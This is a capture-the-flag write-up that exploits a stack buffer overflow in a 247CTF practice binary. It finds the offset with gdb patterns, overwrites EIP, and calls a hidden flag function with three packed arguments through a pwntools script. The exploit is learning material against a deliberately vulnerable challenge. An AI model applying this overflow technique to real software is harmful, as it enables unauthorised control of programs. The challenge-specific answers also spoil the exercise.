We need to call the hidden `flag` function and pass it some parameters. I used ghidra to take a look at the function
So we need to pass it `0x1337`, `0x247`, and `0x12345678`
Let's find the function using `gdb`
`info func`
The function is at `0x08048576`
Now let's find the offset
`pattern create 200`
Pass the pattern to the program
We got the segfault at `0x6261616b`, let's use `pattern search` to find the offset
Okay, so now we know the offset. Let's test to make sure we can control `EIP`
`pi print('A'*140 + 'B'*4)`
Passing that to the program we see we get a segfault at `0x424242`. Perfect. We control `EIP`
Let's build our payload.
The structure of our payload is as follows:
`padding + flagfunc + 4 bytes for a return address + param1 + param2 + param3`
1. Padding
1. 'A' * 140, we found this earlier
2. Flag Function Address
1. p32(0x08048576) - Packing the address in little endian format using pwntools
3. Four bytes for a return address
1. 'B' * 4, you can use whatever. It doesn't matter, just needs to be four bytes
4. Parameter 1
1. p32(0x1337) - First parameter that needs to be passed, packed in little endian format using pwntools
5. Parameter 2
1. p32(0x247) - Second parameter that needs to be passed, packed in little endian format using pwntools
6. Parameter 3
1. p32(0x12345678) - Third parameter that needs to be passed, packed in little endian format using pwntools
My solve script:
```Python
#import pwntools
from pwn import *
#create the process
p = process('./hidden_flag_function_with_args')
#attach it to gdb
gdb.attach(p)
#create the connection
#p = remote('458b4cea0dae8dff.247ctf.com', 50078)
#payload variables
padding = b'A' * 140
param3 = p32(0x12345678)
param2 = p32(0x247)
param1 = p32(0x1337)
funcloc = p32(0x08048576)
#payload
payload = padding + funcloc + b'B'*4 + param1 + param2 + param3
#recieves the data the program spits out up to 'though:'
print(p.recvuntil('though:'))
#recieves the newline character
p.recvline()
#sends the payload
p.sendline(payload)
#recieves the flag
print(p.recvall())
```
---
Back to [[_WebSite Publish/CTF/CTF Index|CTF Index]]
Tags: #ctf #exploit_development #buffer_overflow #scripting #pwn
Related: